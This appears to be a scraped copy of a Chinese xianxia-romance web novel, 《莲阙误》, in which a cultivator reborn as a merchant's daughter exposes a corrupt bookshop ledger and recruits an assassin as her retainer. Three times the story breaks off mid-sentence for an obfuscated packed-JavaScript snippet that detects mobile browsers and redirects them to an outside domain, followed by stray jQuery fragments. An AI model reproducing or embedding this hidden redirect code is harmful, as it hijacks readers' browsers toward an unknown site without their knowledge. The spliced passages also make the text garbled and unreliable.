《莲阙误》
1. 暗账
乌云压顶,暮色四合。她立于危石之巅,手中长剑嗡鸣不止,抵住无形的威压。啸啸狂风刮起如瀑的墨发,掀得衣袂翻飞。
天将暗了。
她望去,远处群山与天色即将融为一体,剩一片苍茫,思绪也被这风卷向远处,不知这场生死抗衡,结局如何。
“我要这天,遮不住我眼。”
落琼谷继人宁禾引动天劫,强行踏入神域。
云垂似黑幕,将天际压得只剩一线幽蓝,只一刹,暴雨自九重天倾泄而下,倒灌幽谷。
雨珠裹挟刺骨罡风打在她身上,如同刀刃,似要将她凌迟。
“我一足已入化神界,谁能拦我!”
宁禾长喝,猛地抽出腰侧长剑,周身灵光翻涌,她一袭青衣踏空而起,额间莲纹忽明忽暗。
云幕裂开一道长痕,从幕后探出一只巨大的黑色竖瞳,浓稠如沥青的眼膜流转着冷寂幽光,它刺破苍穹,展露漆黑的长羽。
宁禾破空驰去,一路掀开雨浪,长剑斩出,爆发一道凌厉青光,刺破天地,直直断下那独眼玄乌一翼。
她指尖抚过剑刃,上有符文流转,以剑指天,引天地万象,肉身作鼎,化作净水青莲,在暴雨中绽开。
“以我凡躯,镇此妖邪!”宁禾暴喝一声,玉指轻弹,莲瓣骤然化作牵丝光刃,万千灵光劈去。那一柄净水剑,只瞬间,便穿透玄乌独眼,唯留一声长啸,荡平山川,尽数消散。
暴雨如注,浸透了她,寒意顺着皮肤钻入骨髓,宁禾没有动摇,只一手拂去剑身污浊,一双清冷的眼映入汩汩血色。
天道垂青,自此逍遥天地,俯仰无愧。
……
并不如此。
当她诛灭独眼玄乌,强破试炼后,仍然没有抵达化神界,而是到了一个地方。
徐洲。
此处山川灵秀,峰峦叠翠,最是富庶还数锦程县,漕运码头商船穿梭、街巷商铺比肩,茶楼酒肆喧嚣,一派熙攘繁华。
而她如今乃富甲一方之商贾令老爷的三千金——令知荷。到锦程县多日,无事发生,至于为何,其中缘由无人知晓,包括她。
暮春细雨如丝,令知荷衣着莲纹青衫,斜倚紫檀案边,她纤白指尖撑着下颌,玉颊微瘦,鬓边青珠伏在削瘦的肩,一双眸子静如水,远远望着窗外那被雨打落的、稀疏的杏花树。
一旁炉中水沸,茶叶滚散,咕咕作响。不时溅出一些沫子落到茶案上,洇湿了那张素笺,星星点点恰似墨花。
有人掀起纱帷,卷了凉风进来。
“三姑娘,茶水都要烧干啦!”来者是她的贴身丫鬟,苓儿。
苓儿见自家姑娘没留意茶沸,便迅速走到案旁,取了块帕子握住短柄,小心地将炉子放到一旁。
令知荷闻声回过神,见炭火噼啪,火星子乱飘,她提起一边的水壶,往那炭火处浇去,匆匆熄了热。
苓儿虽持纸伞过来,肩上、裙摆都已被雨水浸湿,三月天已然不冷,可那雨裹挟凉意,风一过,她就不觉打着哆嗦。
见她如此,惟恐着凉生了病,心想不便出门。令知荷眉头轻蹙,微叹一息,她揽了袖子,将刚放下的炉子又提起,倒一杯热茶,叫她喝下。
“今日半阙诗未写出,我且去一趟书坊,你换身衣裳在房中待着,不必跟来。”令知荷吩咐道,取了件雨披。
没有灵感是假,出去散心倒是真。
令知荷未听苓儿回应,只独自一人拢过雨披、撑起一柄纸伞就跨出门去。
微雨泠泠,流至檐角又似玉珠般续续落下,偶有清风过,沁人肌骨。与那日天昏地暗,暴雨倾泻孑然不同,可这般轻柔的雨却也不能让她好受些。
归乡之径毫无头绪,这般晨昏虚度、日日闲掷该如何是好?所谓偷得浮生半日闲,她不甚习惯。唯有落琼谷奔走四方,替天行道的事她最喜。
念此,她提裙迈过水坑,一路穿过青石巷陌,不觉已走向书坊。雨丝斜斜打在那雕花窗上,再抬头,黑底牌匾上赫然用白漆写着“文渊阁”三字。
柜台——
书坊掌柜将账本推到灰衣客人面前,一脸堆笑:“陈爷,卯月钱庄的进项八百两,小人已按规矩......”
“八百两?”掌柜话未说完,便被人打断。
那灰衣客人冷笑,肥厚的两根手指重重戳在账本上。
“前日李员外明明说......”一瞬话音戛然而止,他警惕地扫了一眼四周,又细声说了下去。
站在廊柱的令知荷,却将他未说完的半截话收进耳中——李员外说好的银钱,分明是三千两。
这般情形,是恰遇贪污之景了?令知荷心道,没再迈步,只静静地听着文渊阁内的动静。
待那灰衣客人说完,掌柜的脸色瞬间煞白,随即干笑两声:“陈爷贵人多忘事,许是听岔了!”他猛地合上账本,宣纸与木桌撞发出闷响。
“再说这报官的数目......”那掌柜惭笑,尾音拖得绵长,目光似有意无意掠过廊柱的人。
“罢了罢了。”灰衣客人不再与他纠缠,单嘟囔着取过票据,转身就走,去时袖口扫落案头毛笔。
令知荷知那灰衣客人要离开,便向书坊里走去,恰好见那毛笔落地,就俯身去拾笔。不过一瞬,她无意瞥见账本扉页潦草的“暗账”二字,墨色尚未干透。
但她很快移开目光,起身拾起笔,欲将笔归还,不想正对上掌柜骤然阴沉的脸,那双三角眼里翻涌着警惕与杀意。
“小娘子好眼力!”掌柜突然提高声调,绕过柜台逼近,“偷瞄账本还敢捡笔?当我这文渊阁是你家后院?”他的手掌重重拍在账本上,惊起一片墨灰。
“来人!把这贼女扣下!”
雨势渐重,打在青瓦上噼啪作响。令知荷攥紧毛笔,看着掌柜刻意翻开的账本——上面赫然记着与方才对话如出一辙的的“八百两”,墨迹新鲜,显然是临时添改的。
她将毛笔放回笔架,不急不慢道:“无意之举,掌柜的反应如此大,可是其中有见不得人的东西?”
被她一语中的,书坊掌柜当即恼羞成怒,狠狠揪住令知荷的衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710159|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袖:“小娘子偷看账本,还敢抵赖!”
令知荷厌恶不语,只一把甩开他的手。
掌柜青筋暴起的手被甩开,皮包骨的脸抽搐着,眼球怒睁突兀,他猛地抓起案头镇尺,寒光一闪朝令知荷砸去:“不知死活的贱人!”
令知荷侧身堪堪躲过,镇尺砸在身后的博古架上,瓷瓶应声碎裂。飞溅的瓷片划破她的手背,鲜血蜿蜒而下。书坊外,自雨幕中一瞬涌入数个身形高大的男人,将她团团围住。
“污蔑良民可是大罪。”令知荷扯下裙裾缠住伤口,袖中指尖紧扣握成拳头:“掌柜的涂改账本、私养打手,这些证据...”
话音未落,掌柜狞笑打断:“证据?你以为那些烂笔头能奈我何?”他手一挥,只叫那几个打手将令知荷绑去。
雨声混着掌柜的呼喝愈发激烈,令知荷后背抵住雕花木门。当掌柜抽出短刀逼近时,她扬手撒出一把粉末。趁众人闭眼痛呼,她夺下掌柜手中短刃,却在破门而出的瞬间,被不知何时绕到身后的人狠狠踹中膝盖。
这具身体竟如此柔弱,令知荷心惊,只道扛不住这一脚,使不上力,当即跪下来。疼痛立刻顺着膝盖骨蔓延,让她反应迟上半拍。那掌柜趁隙,抢过打手手中的刀,抵住她咽喉:“窥见不该看的东西,就得拿命来换!”
刀锋刚要下压,急促的马蹄声从巷口传来,打破雨幕——官府捕快翻身下马,迅速围住这文渊阁,他举着腰牌高声喝道:“都不许动!有人状告文渊阁掌柜涉嫌贪污,勾结匪类,将其带走!”
心知自己跑不掉,那掌柜用怨毒的眼神盯着令知荷,后槽牙咬得咯咯作响:“我既如此,你也逃不了。”说罢,便被几名捕快死死按住,一众带回官府。
令知荷紧紧握着把柄短刃,见他被捕快带走,又不动声色收回袖中。她忍痛扶着门框艰难站起,只觉诸事不顺,刚被夺舍一般传到此地,又遇上这等事。
待捕快车马消失在朦胧巷口,门外就走来一人。玄银广袖拂过门槛,他把玩着手中象牙骨扇,一双桃花眼漫不经心地扫过满地狼藉。
他一收折扇,轻敲柜台:“姑娘可是撞破了什么,叫他如此气急。”
话音未落,令知荷知晓此人是想套话,也不作掩饰,淡声开口:“卯月初三进银三千两,报官八百;初九香料行......”字句如珠落玉盘,连批注小字都分毫不差。
我也不必遮遮掩掩,行事光明磊落还怕牵扯不成,你想知道便告知于你。令知荷眸色淡淡,毫无波澜。
持扇人心中一愣——这些与他掌握的线索完全吻合。他不着痕迹地打量少女的脸色,察觉她复述时指尖无意识摩挲手上裾带,染了血。另一只袖中仍藏着半截利刃。
是她方才从掌柜的手中夺来的。
遇事冷静,不卑不亢。装束虽如闺中小姐,却并非寻常女子,他唇角勾起一抹不明笑意,声音沉稳:“雨天路滑,姑娘回时小心些。”
令知荷瞥他一眼,不知所为何人,转身蹇步离开了。又道此番行事,想来已触动是非之弦,风波将至。
2. 夜叙
听闻令老爷常年多方行商,行踪不定,令知荷留在溆州恐生祸端,无事可做,得大夫人允后连苓儿一同随行。
雨后初霁,晴光留在水面上,波光潋滟。令知荷于船楼上向远眺望,心念文渊阁一事许久,有人来访。
令知荷转首,见来者有些熟悉,敛了敛态,便问:“公子是何人,为何踏足我家舟船?”
那人衣着低调奢华,丰神俊朗,依旧摇着扇子:“吾乃长宁侯府,裴棱。与令尊已相交多年,此次同去,为睹江南之景。”
裴棱嘴角擒一抹笑,一双眼睛深邃神秘,好似猛兽将搏,弭耳俯伏。
怎会如此巧合。此人怕是笑里藏刀,不可不防。
“三小姐,上次文渊阁见面,竟不想同你如此有缘。这次吾特携见面礼,还请三小姐笑纳。”
裴棱使了个眼色,身后便走来几人,提了两坛酒,还托着一个方盘,盘中物被丝绸覆盖,不知是何物。
裴棱让小厮将见面礼呈到令知荷前,两眼微眯,含了笑意,就等她揭开。
令知荷犹豫不决,也不知他与令老爷的交情究竟到了那一步,于是迟迟没有动作。她如此想着,令老爷便寻到此处,他只叫令知荷收下,许是有事,揽了裴棱就要走。
令知荷早已望见甲板上好一桌美酒佳肴,想是为裴棱筹备。自然他不负于此,寒暄两句,便与令老爷同去了。
船楼上又只剩令知荷与苓儿两人。
长宁侯府的人。上次他大抵是为贪污暗账一事而去,而她无意撞见,如今又见,想必已牵扯其中。不知他是何意。
令知荷不明,掀开那一方丝巾。入眼,是一对垂莲纹金盏,光泽夺目。随即她叫苓儿又去舀一瓢坛中酒水,轻抿一口,便觉酒质清冽、香气宜人。此酒名为香泉酒。
贵族之物,的确独特。
沽两坛清酒,蜷在船楼里听风、闲谈。日头西沉时,天地被夜色慢慢浸染,剩一轮月铺满江面。
夜风仍有些凉,苓儿收拾完桌案便与令知荷下了船楼。
令知荷换上寝衣,夜里她独坐榻前,百无聊赖,想起货舱珠宝繁多,一时心生好奇,便披上长衫,一路摸到货舱。
她心念沉音决,悄无声息地就跨进货舱大门。此时已至深夜,商船常年无事,想必守卫皆已歇息睡下,门口便无人看守。
船身庞大,货舱是琳琅满目,金堆玉积。
往日在琼花谷,不曾见过这样好看的物什,令知荷眸中映出各色光泽,心觉十分新颖别致。但她只是冷清地观望,再没有别的动作。
令知荷脚步轻盈,一步一步地往里走去,心下生异,她缓缓伸出手,要去扯那宝匣衬布时……有人猛然从身后控住她,死死捂住她的嘴。
“早闻三小姐灵心慧目,今日得见,果非虚言。”耳后传来清冽的声音。
他字句温和热络,掌心的短剑却顺势出鞘,冰冷刃口紧紧贴住她后心要害。
这么快就来了,令知荷心道,身后人肃杀之气无形,寒意凝成冰棱倒悬头顶。
不善。
另一柄长剑抵上她喉前,昏暗的货舱中,两人离得很近,身后人吐出的气息,皆拂上令知荷耳边。
此番情形于她不利,若是直接反抗,怕是下一秒就要喉破刀开。
令知荷佯作害怕,微微发颤,模样全然是副柔弱无措的模样,身后人一愣,可刀剑无情,剑锋即将触及咽喉的刹那,她知此人并无怜悯,藏在广袖中的匕首刹那弹射而出。
“叮——”刀刃相撞声中,令知荷借力翻身而起,素白裙摆扫过地板,竟险之又险地将那长剑荡开了。那人瞳孔骤缩,尚未反应过来,便见本该娇弱的少女抬腿踢向他下盘。这一招又快又狠,若非他常年习武,险些着道。
“……”他闪退数步,持剑的手微微发紧。令知荷倚着宝匣轻笑,发丝凌乱地垂落脸颊,却掩不住眼底的狡黠:“祁公子的参差剑,舞得倒还差些火候。”
夜行者浑身一僵,寒声道:“你怎会知晓?”
“想知道?”令知荷漫不经心地转着匕首,故意踉跄两步,装出体力不支的模样,“打赢我,答案奉上。若输了……”她目光落在对方掌中双剑,“这对参差剑,我便笑纳了。”
祁子钦冷哼一声,挥剑再攻。他招招狠辣,剑影如电,可每一次看似致命的攻击,都被令知荷以诡异的角度避开。十招过后,令知荷长舒一口气:“倦了……我认输……”
祁子钦刚要敛势,却见令知荷迅速起身,指间匕首抵住他咽喉的瞬间,身上哪还有半分虚弱之态,眉眼含笑:“祁公子,这参差剑,我便先借走了。”
“你!”祁子钦挣扎间才惊觉,不知何时,自己周身大穴竟已被制住。望着她眼底藏不住的算计,祁子钦心下生厌,只道大意。
见他不语,令知荷悄无声息地取下他手腕上的朱砂串,勾在指尖。
“还我。”察觉手腕一空,他从喉间挤出这两个字,一贯冷漠的脸上浮现出憎恶的神色,怕是她再不还,就真要将她千刀万剐。
“朱砂,纳福、辟邪。莫不是你杀人沾的血染成的朱色,你还寻那心里慰藉?”令知荷笑了笑,剑刃在她瞳孔里拉出细长的银线。
祁子钦眼神冰冷,双拳紧握,骨节咯咯作响,周身散发的寒意似乎要将水气凝结。
“我本无意杀你。”说完这句,他挣脱片刻束缚,夺过短剑后猛地刺向令知荷的右肩,而后者,竟没躲开。
不是没躲开,是一时愣神,没反应过来。
那短剑抽出,在令知荷肩上留下一个血窟窿,伤口如破了洞的酒坛,浓稠的鲜血汩汩渗出,浸透了衣衫。
祁子钦夺回那朱砂串,没有戴上,只紧紧攥着,仿佛攥着跳动的心脏。那是故人遗物,唯一的遗物。
汇聚灵气与情义,在某一瞬,从令知荷眼前闪过无数画面。
她定了定神,用灵力封住血脉,目光落在祁子钦紧握朱砂串的那只手,随即移到他恍惚的脸上,眼神迷惘。
不知她看见什么,被人捅了一剑也未还手,只道:“你阿姐定不愿你如此草菅人命。”
在那些画面里,令知荷看见一个女孩,和一些陈年往事,是祁子钦的。令知荷鬼使神差地将匕首收回鞘中,与祁子钦墨黑的瞳孔对视,泛着幽邃的光。
她这么说,唯有祁子钦能明白,似乎是思索过后,她认真道:“无论何人差遣于你,我愿出三倍金帛。但求你为我效命——我还可助你彻查令姐蹊跷死因。
祁子钦手中剑沾染的血还在不断往下滴,直至透过地面木板,他不知眼前人知晓了什么,却也无心分辨真假,只听到阿姐心绪便不稳:“当真?”
若他真是那般家境,与人无冤无仇,为何要做这等事。
令知荷因受伤微喘着气,语速有些慢:“不仅如此,我想你替人卖命,一是无路可去,二是求财罢。”
祁子钦喉结狠狠滚动,下颌绷出冷硬的弧度,他死死盯着小窗筛落的月影,仿佛只有那一方能容下他的目光。他喉间涌上的千言万语,单化作一声极轻的“嗯”。
“若你甘愿为我所用,你、你的至亲,不必再有后顾之忧。”
说到“至亲”时,她特地加重语气,见祁子钦唇角一牵,心里便有了数。
“我是令家三小姐,却是嫡出长女。这艘商船,货舱的金银珠宝,你是见了的。这一剑……是我失言在先。若你想好,便再来寻我。”
令知荷言已至此,任祁子钦离开商船,她捂着右肩,疼痛不断刺激着神经,额头发汗,又觉眼前将要模糊,匆匆回房。
不知舟船停泊至何地,远处灯火稀疏,四周静谧,令知荷关上木窗。
她斜倚在榻上,面色如纸,薄唇泛白,鬓边珠钗随细微的动作轻晃,一身素裳衬得越发柔弱。她抬手取下珠钗,轻轻放在一旁,眼眸藏着化不开的思绪,木然出神。
朱砂真的可以辟邪纳福吗?
“这朱砂呀,是阿姐去那道观求来的,道观汇聚灵气,肯定灵验。你看,和阿姐的红裙,是不是也很相衬?”
说话的少女容貌姝丽,朱唇不点而赤,恰似枝头海棠。
在她一侧,有一个孩子。那孩子仰着头,澄澈的眼睛很是欢喜:“相衬,朱色鲜艳,十分夺目,如阿姐一般!”
闻言,少女嫣然一笑,摸了摸他的脑袋:“就你嘴上抹了蜜儿。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710160|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……
她答应爹爹。
“缙秋会照顾好弟弟阿娘的!”
缙秋,阿姐。
她对孩童时期的祁子钦柔声道:“祯儿,阿姐要去绣庄挣银钱了,你不是想练武吗,等阿姐挣了银钱,给你锻一把独一无二的兵器。”
如此一说,也就真的去了。
不知哪年,缙云带回一柄短剑,剑身刻上一个“祯”字。
那日,祯儿收下短剑,在土院墙里就着书坊扔掉的武术典籍,琢磨了一天一夜。
缙秋去那绣庄,一月回来一次,往家里递银钱,又给弟弟带来外边的吃食,好看的衣裳。
直至祯儿遭遇变故,缙秋辞离绣庄,忙赶回家里。听邻里说,那日祯儿蹲在巷角看书看得入迷,不知哪家的少爷骑马奔进巷子里,既驭不住烈马,横冲直撞,便冲倒了他。
要不回说法,祯儿昏睡多日,缙秋就着存下的银钱,便去寻医。她先在附近寻到一家药铺,说起那店主人是一位郎中,叫她只管给了钱日后好去拿药,却不想,那郎中竟是个骗子,收下银钱第二日就关铺子跑了。
但父亲已去,母亲疾病绕身。长姐如母。
缙秋眼角噙着泪,取下手腕上的朱砂手串,轻轻戴在他手上。
“阿姐自是吉兆,福运加身,不需要这个。给祯儿戴,也许再过两日祯儿就好了。”
缙秋留下家里吃食的银钱,还有一些换了一两日的药材,熬好就给祯儿喝上一碗。直至都熬成药渣,仍不见醒,她便又去别家药铺乞求,好心的会给她一些,见她貌美的施舍一些,还有的,把她赶了出去。
此后,她又经人劝说,寻了花茶坊的事做。
只是这花茶坊,并非茶坊,而是勾栏娱乐之地。
她单做了下人的活,日日夜夜,银钱铜钱挣了又花。祯儿终是好了。
但之后的事,谁也不知发生了什么。
令知荷忆起,神色凝固,回忆起最后一个画面。
山中狂风掠过枯木,那垂在枯木上的褐色布条随之摆动,有人踏上腐烂的树根,发出“嘎吱”的声音,数步之外,是一堆白骨。
祯儿步伐很轻,他慢慢往前走,捡起地上被染成黑褐色的朱砂手串,耳旁,传来悠长的狼嚎声。
——
这朱砂手串确是辟邪纳福之物,汇聚灵气,因持者有心,竟能载情……
她不敢去细想,只觉得原先那两句话,当真是往祁子钦心尖上刺。想到此处,令知荷便觉右肩连着心口隐隐作痛。
他的确无意杀我,如此言行,也只是刺伤右肩。令知荷细细回顾方才之事,似乎漏下一句话。
你扶弱行义,我本无意杀你。
一日,汤脚铺,那花瓶……
明明有很多想说的话,为何总是沉默。
令知荷轻揉眉心,只觉这看似安逸之地,却比在落琼谷的日子要更累。毕竟妖魔鬼怪可没有那么多心眼与忸怩。
她思绪混乱,但门外已叩响好几声。听无人回应,那人便轻轻推开门。
“三姑娘,你怎地深夜不见踪影,害我担忧。”苓儿从门口走来,像是不满地嘟了嘟嘴,添几分怨气。
待走近后,苓儿的不满就消了,神色有些担忧:“三姑娘,您怎地面色如此苍白,是身体不适吗?”
倒也无事,失血过多罢了。
令知荷摆手,以那绢扇掩住伤口,佯作淡定:“夜半口干,去寻水了,不必担忧。”
今早令老爷同商行的人叙过旧后,便去观习当地的琢玉工艺以及金银细工,近日便要采购货物。
苓儿告知令知荷诸般事务,又得到吩咐,让她去与令老爷说,三姑娘也要一同前去。令老爷允了。
此时门口有人传话:“裴公子赠予小姐燕窝羹,有养生滋补之效,莫要辜负一番好意。”
令知荷叫苓儿从门外领进来,又道:“有劳,还请代我多谢裴公子。”
过几日采购货物,令老爷应是要与人谈生意。便交由管事、裴棱,还有令知荷同去。
她不愿与裴棱打交道,又不得不去了解行商之事。暂且抛开恼人的事不谈……也不知他考虑得如何了。
3. 招揽
广陵玉料种类众多,翡翠独树一帜,纪宝斋一家独大,珠宝荟萃。
裴棱掀袍下了马车,同令知荷道:“三小姐,今日令兄不在,采购一事可由你做主了。”
令知荷扯了一抹笑:“我不懂珠宝,还要请裴公子指点才好。”
裴棱看似温和,言语中却不是这么回事:“是吗,可吾听闻三小姐柳絮才高,识穷天下。家里既做珠宝生意,想是了如指掌。”
三小姐柳絮才高,识穷天下。
……但她是个只会打打杀杀的修真之人。
令知荷垂首含笑,没有回应。
他与父亲,到底是如何志趣相投,结交为友的,令知荷不明白。
二人并行走进瑞宝斋,有不少人侧目相看。其中多是女子,她们以袖掩面,窃窃私语。
裴棱未留心,可令知荷听感敏锐,只听她们说……
才子佳人。才子佳人啊!
听完,令知荷望他一眼,随即往一边挪了一步,距离裴棱三尺有余。
对于她的动作,裴棱不解,但也没说什么。
管事依纪老爷的吩咐,将二人带往后库,裴棱微微颔首,便带着令知荷阔步离开了前堂。
后库宽阔,装潢朴素,其用料倒很奢华。
令知荷拣了匣子里的一块翡翠,呈油脂光泽,明亮、柔和。她摩挲,只觉这翡翠细腻坚实,有些份量。
裴棱眼神落在她眉眼,有些意外,不想,她确实是不太了解此物。
他取走令知荷手中那块翡翠,向一旁望去,从容道:“这块翡翠虽好,内里却不够旁边匣子里的透澈。那是冰地翡翠。”
说罢,他将手中翡翠放回了匣子。
你见得多,我自是不如你。
令知荷这么想,倏而传来清脆的一声,她循着声音望去。
“当心。”裴棱抓住她的手,迅速往身侧一拉。
接着,便是碎开的更清脆的一声。不知何物从上方掉了下来,正正落在令知荷脚边。
她与裴棱皆抬首看向二楼,那里站了一位女郎——面点珍珠,衣着黛紫。
她眼睑轻垂,正俯瞰下方的一切。
半晌,她开口,声音冷淡疏离:“以细绳悬翡翠,持玛瑙棒轻叩之。若品质上佳,则发清越之声。”
刚才那清脆的第一声,便是玛瑙叩翡翠的声音。
“姑娘,你可明白了?”她远远睨了令知荷一眼。
那第二声……必是楼上之人,存心往下扔的。
令知荷瞟了一眼地上碎裂的玉镯,正欲开口。那女郎便又说:“小郎,你不随你兄长上阵杀敌,开疆辟土,在此处作甚?”
她冷冷看着裴棱,扶了扶头上的玉花钗。
裴棱行揖,一贯笑容挂面的他,在见到那女郎后,神色复杂,严肃起来:“嫂嫂安好,愚弟才干不及兄长,成不了事,便只好随友人出来闲游。”
听了他说的话,那女郎绛唇翕动,眉头一皱,她冷哼一声:“友人?便是你身旁这位姑娘……当真是玉质天成,我那雕花玉镯都逊色三分。”
她眸色落在令知荷脸上,八分冷,又有其他道不明的情绪。
继而,她又淡声道:“小郎还当勤修正事,莫要辜负父亲兄长。”
说罢,她没有再看裴棱,拂袖离去。
裴棱抬起头,只见了一眼背影,又侧过身。
“她一贯如此,并无恶意。”裴棱解释道,神色惋惜,将那地上的碎玉拾起,轻轻擦拭干净,收入袖中。
令知荷不知侯府家事,既没伤到她,也就无关紧要,于是只“嗯”了一声。
自上次裴棱自报家门,令知荷便知,长宁侯府老侯爷已逝,如今的宁候,是裴棱的兄长。而裴棱,便是长宁侯府的小侯爷。
方才裴棱称那女郎为“嫂嫂”,想必是侯夫人,萧夷了。
二人关系必不简单。令知荷心想,只觉奇怪,但又说不上来。
采购完货物,令知荷与小厮们回了商船,而裴棱,不知去了何处。
——
在广陵这几日,令知荷与苓儿游船画舫,赏舞听曲,日子过得实在滋润。
广陵特色佳肴丰富多样,十分可口。为此,苓儿不惜下功夫学来一道名为“缕子脍”的菜肴。
苓儿叉着腰,气喘吁吁,不知那鱼在厨房里蹦了多久。
“怎地这么滑,怎么也抓不住呢。”她擦了擦额头的汗。
令知荷从门外走来,正巧看见地上跳动的鱼,不明所以地看向苓儿。
苓儿有点尴尬,环视四周,谁也不知她要做什么。
令知荷叹息,抓住地上的鲫鱼,走向灶台拿起刀,手起刀落,去掉了鳞与内脏,又切为片。
动作爽利,看似很轻松。
苓儿目瞪口呆:三小姐好厉害,往常不出闺房,庖厨之事也是手到擒来。
令知荷洗净了手,示意苓儿继续。
不过她似乎没有烹饪的天赋。苓儿看了看形状怪异的竹笋,偷偷摸摸切下一部分,扔到一旁。
令知荷又气又好笑:“再切,怕是一筐子笋都要被你扔完了。”
苓儿眸中有些委屈,不知所措。
令知荷无奈摇了摇头,又去取那筐子里的食材。
她将碧笋和橘苗洗净,切成适当的形状,作为这道菜的胎底。
苓儿便连忙在一旁加了葱、姜汁、胡椒粉等腌制鱼肉。
腌制好后,她便用生鲫鱼片包裹鱼子,碧笋与橘苗做点缀。如此一来,鱼片白,鱼子红,笋和橘绿,清香解腻。
这道“缕子脍”便做好了。
苓儿心中欢喜,转头便要叫来阿隽也尝尝。令知荷却吃不惯生鱼,更不想掺和孩子间的事情,她一人回到房中,不想未有几日就要离开广陵了。
那人,难道不愿随她一起?
她疑惑,又忽觉房中有人来过。地上的尘灰……
令知荷缓缓坐下,将酒盏推过案几,青瓷相撞的脆响惊飞燕雀,她道:“你既来此处,可是想好了?”
珠帘轻动,那人缓步而出。褪去惯常的玄衣,一袭鸦青长袍衬得身姿愈发清朗,而他面上神色却仍如霜雪覆面般疏淡。他立在桌前,与令知荷两两相望,未取座便开口。
“三小姐无事不晓。若我答应替你做事,你可愿告诉我其中缘由……”
令知荷对上他的眼神,神态自若:“你拒绝不了,其中缘由你也不必知晓。你只知,唯有我愿助你。”
她抿了一口杯中酒,指间仍有杀鱼破肚时未散尽的腥锈味,鼻尖轻颤。
于祁子钦而言,至亲为重,他对他阿姐的死一无所知。当下只有她知晓此事,即便他不愿,也一定不会拒绝。
祁子钦的手紧紧扣住剑柄,又泄气般松了几分。他坐下,仰头饮尽杯中残酒,喉结滚动咽下幸辣。
他垂落的睫毛骤然掀起,眸中唯有冷意:"你要我做什么?
上钩了。
酒水映出她眼角微扬的弧度,在那双清丽的眼中,藏了几分犀利。
“做我的侍从,晨昏听命,生死随主。"她故意拖着尾音,看对方喉结因隐忍而剧烈滚动。
祁子钦目光落在她眼底,那抹深不见底的谋算,全然不似闺阁女子该有的模样。他冷笑一声,只道:“我应了。但若敢欺瞒——”
话音未落,腰间佩剑已出鞘三寸。
“这剑,定取你性命。”
——
天色已沉,广陵诸事办得差不多后,令老爷回到船上,令知荷告知他招募侍从一事。
若能护你周全,再多招来十个,百个,又有何妨?令老爷这么跟她说,又觉此次出门,若非事务诸多,定要陪女儿去逛逛,但时间紧要,他心中有些愧疚。
于是令老爷带回几样东西,他取来其中一个,交由令知荷。
“芙儿,我知你素来不喜奢侈繁琐之物,数月前便请人制了这把古琴。”
他又笑道:“本想回到家中再把礼物交予,又怕芙儿在这船上无聊,便先带到这儿了。芙儿看看,喜欢不喜欢?”
令知荷微露喜色,有些感动:“父亲操劳,何须如此。”
她打开长箱,里面躺了一把翡翠、珍珠点缀的青莲楠木琴,尤其清雅。
令知荷指间拂过琴弦,琴音醇厚深沉。
她起身答谢:“芙儿很喜欢,多谢父亲。”
令老爷笑意更甚:“喜欢便好。”
其实她并不怎么会弹琴,不过这琴当真雅致,很是好看。
又说起招募祁子钦作为侍从,只因他身手不凡,容貌悦目。若为同期弟子入了七派,凤毛麟角里,又要多一个他。
此地应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710161|173595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏锋,若有侍从,也可省去许多麻烦。
除此之外,祁子钦阿姐的死……她正想着,便见廊下忽掠起白青飘带。少年换了身素衣走来,衣袂翻飞间,冷峻气质柔和了几分。
“盯着我作甚?”他疏眉微蹙,语气生硬。
“倒是顺眼了。”令知荷轻笑,伸手欲拍他肩,却被他敏捷避开。
又想起什么,她问道:“背后买凶让你杀我的人,是谁?”
祁子钦垂眸掸了掸衣角,语气冷淡:“收钱办事,不问雇主。”
令知荷走近一步:“你杀不了我,这钱,你也收不下。不如说说,你家中那位,是何事。”
见祁子钦思忖,令知荷又道:“我既有意帮你,断不会做伤害你的事。况且,天下之广,我如何迫害你的家人?”
这倒是说出他心中所想。
祁子钦话极少,眉目如霜。令知荷想,他如同一只野猫,戒心很重,只不断保持距离,静静审视,在没感到安心时,绝不靠近。
若想他能为己所用,还得慢慢来。
——
“这位哥哥,是新来的吗?”阿隽眨巴眨巴眼睛,拉住祁子钦的衣角。
后面跟上来的苓儿见了俩人,围着祁子钦看了一圈,她摸摸下巴,似在思索。
“好像是新来的,没见过。模样不赖,不知道干活利不利索……”
……
“你是新来的吗?”苓儿凑近盯着他。
祁子钦被看得浑身不自在,只答:“是。”
苓儿嗤嗤一笑:“你不要紧张呀,我们姑娘很好很好的,帮她做事不亏。”
祁子钦面对突然的热情,脸上浮现几分生涩,只道:“知道了。”
苓儿心道无趣,光生个俊脸,不会说话。
她正出神,就听得房中飘了几道琴音。片刻,又飘来断断续续的琴音,也不知弹的是什么,光有几个音,却不成曲。
